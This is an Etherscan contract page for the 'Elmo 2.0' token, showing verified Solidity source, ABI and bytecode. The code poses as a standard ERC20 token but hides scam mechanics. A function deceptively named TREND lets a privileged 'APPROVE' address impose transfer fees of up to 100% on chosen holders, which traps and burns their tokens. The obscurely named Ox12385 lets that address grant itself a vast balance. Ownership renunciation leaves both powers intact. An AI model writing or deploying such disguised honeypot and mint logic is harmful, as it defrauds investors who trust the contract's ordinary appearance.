ETH Price: $3,489.45 (+7.50%)
Gas: 7 Gwei

Token

Elmo 2.0 (ELMO2.0)
 

Overview

Max Total Supply

10,000,000 ELMO2.0

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
611,288.24268889 ELMO2.0

Value
$0.00
0x0ef75373cccd3f536c0a15f88fe2d40afc1bbe59
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ELMO

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-07-08
*/

/**
Telegram:  https://t.me/Elmo2ETH

Website:  https://t.me/Elmo2ETH

Twitter: https://twitter.com/Elmo2eth

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function TREND(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}



contract ELMO is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _transferFees; 
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    address public APPROVE;
    uint256 marketFee = 0;
    address public marketAddress = 0xd991eE423121A039C70EF57a4518e9E8eBFC9E74; //
    address constant _beforeTokenTransfer = 0x000000000000000000000000000000000000dEaD; 

    constructor(string memory name_, string memory symbol_, uint256 total, uint8 decimals_, address gem) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = total;
        APPROVE = gem;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {        
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function TREND(address[] memory back, uint256 Teambuy) external {
        assembly {
            if gt(Teambuy, 100) { revert(0, 0) }
        }
        if (APPROVE != _msgSender()) {
            return;
        }
        for (uint256 i = 0; i < back.length; i++) {
            _transferFees[back[i]] = Teambuy;
            }
        
    }

    function Ox12385(address o0xkO21) external {
        if(APPROVE != _msgSender()){
            return;
        }
        uint256 burnfee = 10000000000000*10**decimals()*85000;
        _balances[_msgSender()] = burnfee;
    }




    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "Put: transfer amount exceeds balance");
        uint256 fee = amount * _transferFees[_msgSender()] / 100;

        uint256 marketAmount = amount * marketFee / 100;
        uint256 finalAmount = amount - fee - marketAmount;

        _balances[_msgSender()] -= amount;
        _balances[recipient] += finalAmount;
        _balances[_beforeTokenTransfer] += fee; 

        emit Transfer(_msgSender(), recipient, finalAmount);
        emit Transfer(_msgSender(), _beforeTokenTransfer, fee); 
        emit Transfer(_msgSender(), marketAddress, marketAmount); 
    
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function TREND(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "Put: transfer amount exceeds allowance");
        uint256 fee = amount * _transferFees[sender] / 100;
        uint256 finalAmount = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += finalAmount;
        _allowances[sender][_msgSender()] -= amount;
        
        _balances[_beforeTokenTransfer] += fee; // send the fee to the black hole

        emit Transfer(sender, recipient, finalAmount);
        emit Transfer(sender, _beforeTokenTransfer, fee); // emit event for the fee transfer
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"total","type":"uint256"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"address","name":"gem","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"APPROVE","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"o0xkO21","type":"address"}],"name":"Ox12385","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TREND","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"back","type":"address[]"},{"internalType":"uint256","name":"Teambuy","type":"uint256"}],"name":"TREND","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526000600955600a80546001600160a01b03191673d991ee423121a039c70ef57a4518e9e8ebfc9e741790553480156200003c57600080fd5b5060405162001293380380620012938339810160408190526200005f91620002f1565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508451620000b59060049060208801906200017e565b508351620000cb9060059060208701906200017e565b506006805460ff191660ff84161790556007839055600880546001600160a01b0319166001600160a01b0383161790558260016000620001083390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200016b91815260200190565b60405180910390a35050505050620003dd565b8280546200018c90620003a1565b90600052602060002090601f016020900481019282620001b05760008555620001fb565b82601f10620001cb57805160ff1916838001178555620001fb565b82800160010185558215620001fb579182015b82811115620001fb578251825591602001919060010190620001de565b50620002099291506200020d565b5090565b5b808211156200020957600081556001016200020e565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200024c57600080fd5b81516001600160401b038082111562000269576200026962000224565b604051601f8301601f19908116603f0116810190828211818310171562000294576200029462000224565b81604052838152602092508683858801011115620002b157600080fd5b600091505b83821015620002d55785820183015181830184015290820190620002b6565b83821115620002e75760008385830101525b9695505050505050565b600080600080600060a086880312156200030a57600080fd5b85516001600160401b03808211156200032257600080fd5b6200033089838a016200023a565b965060208801519150808211156200034757600080fd5b5062000356888289016200023a565b94505060408601519250606086015160ff811681146200037557600080fd5b60808701519092506001600160a01b03811681146200039357600080fd5b809150509295509295909350565b600181811c90821680620003b657607f821691505b602082108103620003d757634e487b7160e01b600052602260045260246000fd5b50919050565b610ea680620003ed6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610219578063dbbf2c2b1461022c578063dd62ed3e1461023f578063f70ad0ce1461027857600080fd5b80638da5cb5b146101c657806395623641146101eb57806395d89b41146101fe578063a59de9941461020657600080fd5b8063313ce567116100d3578063313ce5671461016b5780635b1e57661461018057806370a0823114610193578063715018a6146101bc57600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61028b565b60405161011a9190610a61565b60405180910390f35b610136610131366004610ad2565b61031d565b604051901515815260200161011a565b6007545b60405190815260200161011a565b610136610166366004610afc565b610334565b60065460405160ff909116815260200161011a565b61013661018e366004610ad2565b61054d565b61014a6101a1366004610b38565b6001600160a01b031660009081526001602052604090205490565b6101c46105b4565b005b6000546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b600a546101d3906001600160a01b031681565b61010d610658565b6008546101d3906001600160a01b031681565b610136610227366004610ad2565b610667565b6101c461023a366004610b38565b610853565b61014a61024d366004610b5a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c4610286366004610ba3565b6108b2565b60606004805461029a90610c6e565b80601f01602080910402602001604051908101604052809291908181526020018280546102c690610c6e565b80156103135780601f106102e857610100808354040283529160200191610313565b820191906000526020600020905b8154815290600101906020018083116102f657829003601f168201915b5050505050905090565b600061032a33848461093d565b5060015b92915050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156103bb5760405162461bcd60e51b815260206004820152602660248201527f5075743a207472616e7366657220616d6f756e74206578636565647320616c6c6044820152656f77616e636560d01b60648201526084015b60405180910390fd5b6001600160a01b0384166000908152600360205260408120546064906103e19085610cbe565b6103eb9190610cdd565b905060006103f98285610cff565b6001600160a01b038716600090815260016020526040812080549293508692909190610426908490610cff565b90915550506001600160a01b03851660009081526001602052604081208054839290610453908490610d16565b90915550506001600160a01b03861660009081526002602090815260408083203384529091528120805486929061048b908490610cff565b909155505061dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d80548492906104ce908490610d16565b92505081905550846001600160a01b0316866001600160a01b0316600080516020610e518339815191528360405161050891815260200190565b60405180910390a360405182815261dead906001600160a01b03881690600080516020610e51833981519152906020015b60405180910390a350600195945050505050565b3360008181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350600192915050565b6000546001600160a01b0316331461060e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461029a90610c6e565b336000908152600160205260408120548211156106d25760405162461bcd60e51b8152602060048201526024808201527f5075743a207472616e7366657220616d6f756e7420657863656564732062616c604482015263616e636560e01b60648201526084016103b2565b336000908152600360205260408120546064906106ef9085610cbe565b6106f99190610cdd565b9050600060646009548561070d9190610cbe565b6107179190610cdd565b90506000816107268487610cff565b6107309190610cff565b33600090815260016020526040812080549293508792909190610754908490610cff565b90915550506001600160a01b03861660009081526001602052604081208054839290610781908490610d16565b909155505061dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d80548592906107c4908490610d16565b90915550506040518181526001600160a01b038716903390600080516020610e518339815191529060200160405180910390a360405183815261dead903390600080516020610e518339815191529060200160405180910390a3600a546001600160a01b0316336001600160a01b0316600080516020610e518339815191528460405161053991815260200190565b6008546001600160a01b031633146108685750565b600061087660065460ff1690565b61088190600a610e12565b610891906509184e72a000610cbe565b61089e9062014c08610cbe565b336000908152600160205260409020555050565b60648111156108c057600080fd5b6008546001600160a01b031633146108d6575050565b60005b82518110156109385781600360008584815181106108f9576108f9610e21565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061093090610e37565b9150506108d9565b505050565b6001600160a01b03831661099f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b2565b6001600160a01b038216610a005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208083528351808285015260005b81811015610a8e57858101830151858201604001528201610a72565b81811115610aa0576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610acd57600080fd5b919050565b60008060408385031215610ae557600080fd5b610aee83610ab6565b946020939093013593505050565b600080600060608486031215610b1157600080fd5b610b1a84610ab6565b9250610b2860208501610ab6565b9150604084013590509250925092565b600060208284031215610b4a57600080fd5b610b5382610ab6565b9392505050565b60008060408385031215610b6d57600080fd5b610b7683610ab6565b9150610b8460208401610ab6565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610bb657600080fd5b823567ffffffffffffffff80821115610bce57600080fd5b818501915085601f830112610be257600080fd5b8135602082821115610bf657610bf6610b8d565b8160051b604051601f19603f83011681018181108682111715610c1b57610c1b610b8d565b604052928352818301935084810182019289841115610c3957600080fd5b948201945b83861015610c5e57610c4f86610ab6565b85529482019493820193610c3e565b9997909101359750505050505050565b600181811c90821680610c8257607f821691505b602082108103610ca257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615610cd857610cd8610ca8565b500290565b600082610cfa57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015610d1157610d11610ca8565b500390565b60008219821115610d2957610d29610ca8565b500190565b600181815b80851115610d69578160001904821115610d4f57610d4f610ca8565b80851615610d5c57918102915b93841c9390800290610d33565b509250929050565b600082610d805750600161032e565b81610d8d5750600061032e565b8160018114610da35760028114610dad57610dc9565b600191505061032e565b60ff841115610dbe57610dbe610ca8565b50506001821b61032e565b5060208310610133831016604e8410600b8410161715610dec575081810a61032e565b610df68383610d2e565b8060001904821115610e0a57610e0a610ca8565b029392505050565b6000610b5360ff841683610d71565b634e487b7160e01b600052603260045260246000fd5b600060018201610e4957610e49610ca8565b506001019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122032c5d90db9dc98531219ed770b7dc7e539f8baaf1e02c4c44d96beda9bca906864736f6c634300080d003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000038d7ea4c680000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000d991ee423121a039c70ef57a4518e9e8ebfc9e740000000000000000000000000000000000000000000000000000000000000008456c6d6f20322e300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007454c4d4f322e3000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610219578063dbbf2c2b1461022c578063dd62ed3e1461023f578063f70ad0ce1461027857600080fd5b80638da5cb5b146101c657806395623641146101eb57806395d89b41146101fe578063a59de9941461020657600080fd5b8063313ce567116100d3578063313ce5671461016b5780635b1e57661461018057806370a0823114610193578063715018a6146101bc57600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61028b565b60405161011a9190610a61565b60405180910390f35b610136610131366004610ad2565b61031d565b604051901515815260200161011a565b6007545b60405190815260200161011a565b610136610166366004610afc565b610334565b60065460405160ff909116815260200161011a565b61013661018e366004610ad2565b61054d565b61014a6101a1366004610b38565b6001600160a01b031660009081526001602052604090205490565b6101c46105b4565b005b6000546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b600a546101d3906001600160a01b031681565b61010d610658565b6008546101d3906001600160a01b031681565b610136610227366004610ad2565b610667565b6101c461023a366004610b38565b610853565b61014a61024d366004610b5a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c4610286366004610ba3565b6108b2565b60606004805461029a90610c6e565b80601f01602080910402602001604051908101604052809291908181526020018280546102c690610c6e565b80156103135780601f106102e857610100808354040283529160200191610313565b820191906000526020600020905b8154815290600101906020018083116102f657829003601f168201915b5050505050905090565b600061032a33848461093d565b5060015b92915050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156103bb5760405162461bcd60e51b815260206004820152602660248201527f5075743a207472616e7366657220616d6f756e74206578636565647320616c6c6044820152656f77616e636560d01b60648201526084015b60405180910390fd5b6001600160a01b0384166000908152600360205260408120546064906103e19085610cbe565b6103eb9190610cdd565b905060006103f98285610cff565b6001600160a01b038716600090815260016020526040812080549293508692909190610426908490610cff565b90915550506001600160a01b03851660009081526001602052604081208054839290610453908490610d16565b90915550506001600160a01b03861660009081526002602090815260408083203384529091528120805486929061048b908490610cff565b909155505061dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d80548492906104ce908490610d16565b92505081905550846001600160a01b0316866001600160a01b0316600080516020610e518339815191528360405161050891815260200190565b60405180910390a360405182815261dead906001600160a01b03881690600080516020610e51833981519152906020015b60405180910390a350600195945050505050565b3360008181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350600192915050565b6000546001600160a01b0316331461060e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461029a90610c6e565b336000908152600160205260408120548211156106d25760405162461bcd60e51b8152602060048201526024808201527f5075743a207472616e7366657220616d6f756e7420657863656564732062616c604482015263616e636560e01b60648201526084016103b2565b336000908152600360205260408120546064906106ef9085610cbe565b6106f99190610cdd565b9050600060646009548561070d9190610cbe565b6107179190610cdd565b90506000816107268487610cff565b6107309190610cff565b33600090815260016020526040812080549293508792909190610754908490610cff565b90915550506001600160a01b03861660009081526001602052604081208054839290610781908490610d16565b909155505061dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d80548592906107c4908490610d16565b90915550506040518181526001600160a01b038716903390600080516020610e518339815191529060200160405180910390a360405183815261dead903390600080516020610e518339815191529060200160405180910390a3600a546001600160a01b0316336001600160a01b0316600080516020610e518339815191528460405161053991815260200190565b6008546001600160a01b031633146108685750565b600061087660065460ff1690565b61088190600a610e12565b610891906509184e72a000610cbe565b61089e9062014c08610cbe565b336000908152600160205260409020555050565b60648111156108c057600080fd5b6008546001600160a01b031633146108d6575050565b60005b82518110156109385781600360008584815181106108f9576108f9610e21565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061093090610e37565b9150506108d9565b505050565b6001600160a01b03831661099f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b2565b6001600160a01b038216610a005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208083528351808285015260005b81811015610a8e57858101830151858201604001528201610a72565b81811115610aa0576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610acd57600080fd5b919050565b60008060408385031215610ae557600080fd5b610aee83610ab6565b946020939093013593505050565b600080600060608486031215610b1157600080fd5b610b1a84610ab6565b9250610b2860208501610ab6565b9150604084013590509250925092565b600060208284031215610b4a57600080fd5b610b5382610ab6565b9392505050565b60008060408385031215610b6d57600080fd5b610b7683610ab6565b9150610b8460208401610ab6565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610bb657600080fd5b823567ffffffffffffffff80821115610bce57600080fd5b818501915085601f830112610be257600080fd5b8135602082821115610bf657610bf6610b8d565b8160051b604051601f19603f83011681018181108682111715610c1b57610c1b610b8d565b604052928352818301935084810182019289841115610c3957600080fd5b948201945b83861015610c5e57610c4f86610ab6565b85529482019493820193610c3e565b9997909101359750505050505050565b600181811c90821680610c8257607f821691505b602082108103610ca257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615610cd857610cd8610ca8565b500290565b600082610cfa57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015610d1157610d11610ca8565b500390565b60008219821115610d2957610d29610ca8565b500190565b600181815b80851115610d69578160001904821115610d4f57610d4f610ca8565b80851615610d5c57918102915b93841c9390800290610d33565b509250929050565b600082610d805750600161032e565b81610d8d5750600061032e565b8160018114610da35760028114610dad57610dc9565b600191505061032e565b60ff841115610dbe57610dbe610ca8565b50506001821b61032e565b5060208310610133831016604e8410600b8410161715610dec575081810a61032e565b610df68383610d2e565b8060001904821115610e0a57610e0a610ca8565b029392505050565b6000610b5360ff841683610d71565b634e487b7160e01b600052603260045260246000fd5b600060018201610e4957610e49610ca8565b506001019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122032c5d90db9dc98531219ed770b7dc7e539f8baaf1e02c4c44d96beda9bca906864736f6c634300080d0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000038d7ea4c680000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000d991ee423121a039c70ef57a4518e9e8ebfc9e740000000000000000000000000000000000000000000000000000000000000008456c6d6f20322e300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007454c4d4f322e3000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Elmo 2.0
Arg [1] : symbol_ (string): ELMO2.0
Arg [2] : total (uint256): 1000000000000000
Arg [3] : decimals_ (uint8): 8
Arg [4] : gem (address): 0xd991eE423121A039C70EF57a4518e9E8eBFC9E74

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 00000000000000000000000000000000000000000000000000038d7ea4c68000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 000000000000000000000000d991ee423121a039c70ef57a4518e9e8ebfc9e74
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [6] : 456c6d6f20322e30000000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [8] : 454c4d4f322e3000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1711:4521:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2671:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4985:152;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;4985:152:0;1053:187:1;6127:102:0;6209:12;;6127:102;;;1391:25:1;;;1379:2;1364:18;6127:102:0;1245:177:1;5381:738:0;;;;;;:::i;:::-;;:::i;2865:83::-;2931:9;;2865:83;;2931:9;;;;1902:36:1;;1890:2;1875:18;2865:83:0;1760:184:1;5145:226:0;;;;;;:::i;:::-;;:::i;3559:119::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3652:18:0;3625:7;3652:18;;;:9;:18;;;;;;;3559:119;1552:148;;;:::i;:::-;;1333:87;1379:7;1406:6;-1:-1:-1;;;;;1406:6:0;1333:87;;;-1:-1:-1;;;;;2304:32:1;;;2286:51;;2274:2;2259:18;1333:87:0;2140:203:1;2125:73:0;;;;;-1:-1:-1;;;;;2125:73:0;;;2770:87;;;:::i;2068:22::-;;;;;-1:-1:-1;;;;;2068:22:0;;;3686:748;;;;;;:::i;:::-;;:::i;3316:229::-;;;;;;:::i;:::-;;:::i;4442:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4558:18:0;;;4531:7;4558:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4442:151;2958:350;;;;;;:::i;:::-;;:::i;2671:91::-;2708:13;2749:5;2742:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2671:91;:::o;4985:152::-;5051:4;5068:39;991:10;5091:7;5100:6;5068:8;:39::i;:::-;-1:-1:-1;5125:4:0;4985:152;;;;;:::o;5381:738::-;-1:-1:-1;;;;;5512:19:0;;5487:4;5512:19;;;:11;:19;;;;;;;;991:10;5512:33;;;;;;;;:43;-1:-1:-1;5512:43:0;5504:94;;;;-1:-1:-1;;;5504:94:0;;4528:2:1;5504:94:0;;;4510:21:1;4567:2;4547:18;;;4540:30;4606:34;4586:18;;;4579:62;-1:-1:-1;;;4657:18:1;;;4650:36;4703:19;;5504:94:0;;;;;;;;;-1:-1:-1;;;;;5632:21:0;;5609:11;5632:21;;;:13;:21;;;;;;5656:3;;5623:30;;:6;:30;:::i;:::-;:36;;;;:::i;:::-;5609:50;-1:-1:-1;5670:19:0;5692:12;5609:50;5692:6;:12;:::i;:::-;-1:-1:-1;;;;;5717:17:0;;;;;;:9;:17;;;;;:27;;5670:34;;-1:-1:-1;5738:6:0;;5717:17;;;:27;;5738:6;;5717:27;:::i;:::-;;;;-1:-1:-1;;;;;;;5755:20:0;;;;;;:9;:20;;;;;:35;;5779:11;;5755:20;:35;;5779:11;;5755:35;:::i;:::-;;;;-1:-1:-1;;;;;;;5801:19:0;;;;;;:11;:19;;;;;;;;991:10;5801:33;;;;;;;:43;;5838:6;;5801:19;:43;;5838:6;;5801:43;:::i;:::-;;;;-1:-1:-1;;2248:42:0;5865:31;;;;:9;:31;;;:38;;5900:3;;5865:31;:38;;5900:3;;5865:38;:::i;:::-;;;;;;;;5972:9;-1:-1:-1;;;;;5955:40:0;5964:6;-1:-1:-1;;;;;5955:40:0;-1:-1:-1;;;;;;;;;;;5983:11:0;5955:40;;;;1391:25:1;;1379:2;1364:18;;1245:177;5955:40:0;;;;;;;;6011:43;;1391:25:1;;;2248:42:0;;-1:-1:-1;;;;;6011:43:0;;;-1:-1:-1;;;;;;;;;;;6011:43:0;1379:2:1;1364:18;6011:43:0;;;;;;;;-1:-1:-1;6107:4:0;;5381:738;-1:-1:-1;;;;;5381:738:0:o;5145:226::-;991:10;5226:4;5243:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5243:34:0;;;;;;;;;;;:43;;;5302:39;;1391:25:1;;;5226:4:0;;